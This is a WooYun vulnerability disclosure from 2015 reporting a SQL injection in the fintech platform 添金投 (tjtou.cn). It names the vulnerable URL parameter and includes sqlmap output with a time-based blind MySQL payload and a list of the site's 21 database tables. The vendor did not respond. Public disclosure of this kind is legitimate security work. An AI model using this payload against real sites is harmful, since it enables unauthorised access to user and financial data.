当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141469

漏洞标题：互联网金融平台安全之添金投存在SQL注入漏洞

相关厂商：添金投

漏洞作者： 中央军

提交时间：2015-09-16 10:21

修复时间：2015-10-31 10:22

公开时间：2015-10-31 10:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-16： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-31： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

天津股权交易所旗下互联网金融平台添金投存在SQL注入。

详细说明：

注入位置

http://www.tjtou.cn/page/website/infonews/list?classid=26*


1.png


涉及21个表

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://www.tjtou.cn:80/page/website/infonews/list?classid=26' AND (SELECT * FROM (SELECT(SLEEP(5)))EUdS) AND 'oVjR'='oVjR
---
web application technology: JSP
back-end DBMS: MySQL 5.0.12
Database: tj_tjr
[21 tables]
+---------------------------------------+
| tagreement                            |
| tggw                                  |
| tinfo_category1                       |
| tinfo_category2                       |
| tlt_pl                                |
| tmy_focus_project                     |
| tnewuseractivate                      |
| tpl_hf                                |
| tqyjcxx                               |
| tqyjcxx_area                          |
| tqyjcxx_hylb                          |
| tsx_xxb                               |
| tsys_params                           |
| tsys_params_code                      |
| tsys_params_sub                       |
| ttjgq_infonr                          |
| tuserinfocount                        |
| txtdm                                 |
| txxfs                                 |
| txzqydm                               |
| tzx_yyb                               |
+---------------------------------------+


漏洞证明：

修复方案：

版权声明：转载请注明来源 中央军@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞Rank：15 (WooYun评价)